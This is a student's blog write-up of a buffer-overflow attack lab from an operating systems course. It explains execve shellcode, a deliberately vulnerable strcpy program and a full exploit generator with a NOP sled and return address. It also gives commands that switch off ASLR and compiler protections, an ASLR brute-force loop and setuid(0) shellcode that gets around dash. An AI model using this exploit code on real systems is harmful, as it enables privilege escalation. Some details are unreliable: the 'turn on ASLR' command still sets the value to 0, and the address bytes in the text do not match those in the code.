This is a blog recording what I learned when doing buffer-overflow attack lab.

Stack layout

The figure below is from the lab instruction from my operating system course.

Shellcode

There are two programs. They are both written by c language. However, one looks like a normal c program, while another one is executing data.

1
2
3
4
5
6
7
#include <stdio.h>
int main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}

execve is a system call of Linux.

The function of this system call is that it forks a child process and run another program.

1st arg: the name of the file which executes the new program.

2nd arg: the program to be run. It must end with NULL

3rd arg: the new environment variable array.

It’s easy to understand the program above. Let’s see another one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}

Let’s begin with main. buf stores a string which is stored in code[] originally.

void(*)() is a function pointer pointing to a function which returns void. So, the 3rd line of main means that we convert buf to the function we mentioned.

Now, let’s figure out the meaning of the assembly program of code. The source code is written in x86 style here.

1
2
3
4
5
6
7
8
9
10
11
12
xorl eax, eax 		; eax = 0
1: pushl eax ; protect eax
2: pushl 0x68732f2f ; push string "//sh" note: there is no \0 here
3: pushl 0x6e69622f ; push string "/bin"
movl esp, ebx ; ebx = address of "/bin//sh" (name[0])
4: pushl eax ; push NULL
5: pushl ebx ; push address of "/bin//sh"
;Think about the model of pointer array(指针数组). It's not hard to understand
movl esp, ecx ; ecx = address of name(refer to the 1st program)
cdq ; edx = 0 can be replaced by `xorl edx, edx`
movb 0x0b, al ; al = 0x0b --> `execve` system call
int 80 ; interrupt
Fig.1 system call number of execve

Stack of this program is like this. esp--> means esp is pointing here now. numbers correspond to labels in the program above.

Table.1 Stack model of the assembly program
Stack model
ebp
1: esp --> eax
2: esp --> 0x68732f2f
3: esp --> 0x6e69622f
4: esp--> eax
5:esp --> ebx(the value of the 3rd step esp)

Now, we know the 2 programs have the same function.

Vulnerable Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str)
{
char buffer[BUF_SIZE];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;

/* Change the size of the dummy array to randomize the parameters
for this lab. Need to use the array at least once */
char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);
/* 主要是为了改变堆栈结构*/

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

The problem is that strcpy won’t check whether the length of str is shorter than BUF_SIZE.

str will get its content from badfile.

Before Attack

Before we manage to attack, we need to simplify our work.

  1. Shutdown ASLR(Address Space Layout Randomization)
  2. Link sh from dash to zsh
  3. Open execstack(stack can be executed)
  4. Shutdown stack guard

Shutdown ASLR

ASLR is a countermeasure of operating system. It can randomize the starting address of heap and stack. We can disable this feature by the following command:

1
$ sudo sysctl -w kernel.randomize_va_space=0

In Ubuntu 16.04 VMs, bin/sh symbolic link points to the /bin/dash shell. Because in this lab, we want to get the root permission, the process will be executed in a Set-UID process. It can change the effective UID but not real user ID. However, if dash detects that it is executed in a Set-UID process, it immediately drop the privilege.

Consequently, we link sh to zsh by the following command:

1
$ sudo ln -sf /bin/zsh /bin/sh

Shutdown other countermeasures of GCC

Stack guard and noexecstack are two countermeasures of GNU/GCC to prevent buffer overflows. In the presence of these protections, buffer-overflow attack won’t work. So, we disable these protections.

1
gcc -o stack -z execstack -fno-stack-protector stack.c

Exploit

Exploit.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer+0x24, "\xff\xea\xff\xbf"); //1
strcpy(buffer+420, shellcode); //2

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

The shellcode has been explained before. What we need to write is only two lines of code.

  1. Put the address of shellcode on the return address of bof
  2. Put shellcode on a valid position of buffer.

There are 3 numbers here. 0x24, \x9c\xeb\ff\bf, 420. How can we get them?

GDB stack

In order to know the stack layout of stack. (this is the process), we need gdb to debug it.

1
2
3
gdb stack #start debugging
b bof #breakpoint in bof()
r #run

We can see such a surface like that. Now we are in bof(). PC/EIP now points to 0x80484f1.

We can know the starting address of buffer by observing codes before strcpy. Because buffer is the first parameter of strcpy. The offset between buffer and $ebp is -0x20.

According to the stack layout, the address of buffer + 0x20 + 4 = return address of bof.

We have got 0x24.

Actually, 420 can be changed manually. You can define this number by yourself. However, it may be better if this number is big enough, because it can help us to find the shellcode more easily.

If we calculate the address of shellcode by the figure above, Let’s do the calculation.

  1. the address of buffer = $ebp - 0x20 = 0xbfffe9f8
  2. shellcode address = 0xbfffe9f8 + 420 = 0xbfffeb9c

Can we succeed? Of course.

1
2
3
gcc -o exploit exploit.c
./exploit
./stack

We can see that we have root permission now. However, we need to pay attention to uid = 1000. It means that the real-id is seed but not root.

Two stack layouts

We have successfully carried out the attack. It’s the truth. However, there is a little mistake here.

Actually, process running under gdb and process running directly have different stack layouts. Why? Because the environment variables pushed to the stack are different under these two conditions.

We can succeed because there are lots of nop(0x90) before the shellcode. We jump to nop and run until encountering the shellcode.

How can we prove this? We need to add a line of code in stack.c. It’s getchar(). The process won’t terminate until it get a character from stdin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;

/* Change the size of the dummy array to randomize the parameters
for this lab. Need to use the array at least once */
char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
//wait here
getchar()
//
bof(str);
printf("Returned Properly\n");
return 1;
}

That’s because we want to debug it with gdb when it is executed directly.

  1. Compile and run the program and wait.
1
gcc -ostack2 -fno-stack-protector -z execstack stack.c
  1. Open another terminal and get the pid of stack2
1
ps -elf | grep stack2
  1. Attach gdb to this process. This command needs root permission.
1
sudo gdb attach 6903
  1. Input n/next in gdb, then input a character for stack2

  2. Input n continually until we go back to main()

  3. When $eip points to call bof, input s/step to step into bof.

  1. Get the value of $ebp after mov ebp, esp.

If you look back, you will find that $ebp in gdb mode is 0xbfffea18. The distance is 64 between two values of $ebp. That’s why I have mentioned that 420 can be changed manually, but it may be better if the number is big enough.

Countermeasures

In before attack part, I have shut down 4 countermeasures, 2 of which belongs to the operating system, while others belong to gcc. I will talk about some details.

ASLR

Why we can succeed at once? Because the initial position of stack doesn’t change. If we turn on ASLR, the initial position of stack alters every time this program is executed.

Input the following command to turn on ASLR.

1
$ sudo sysctl -w kernel.randomize_va_space=0

We need to write a shell script to run our program again and again.

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
SECONDS=0
value=0
while [ 1 ]
do
value=$(($value + 1))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
./stack
done

After 9 minutes’ attack, we finally succeed.

Why can we succeed? Because the initial position floats in a small range(about plus-minus 200). Remember nop I talk about before? It shows their function here.

Dash

dash will check whether the uid is the same with euid. If not, it will deprive your root permission.

If we can add some instructions like setuid(0) before execve , we can easily defeat dash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char shellcode[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
// ---- The code below is the same as the one in Task 2 ---
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"

setuid is a system call whose system call number is 0xd5. If we shutdown ASLR, we can easily get the result.

Non-execstack and stack guard

In this experiment,I didn’t find any solution to these two countermeasures. The results are below.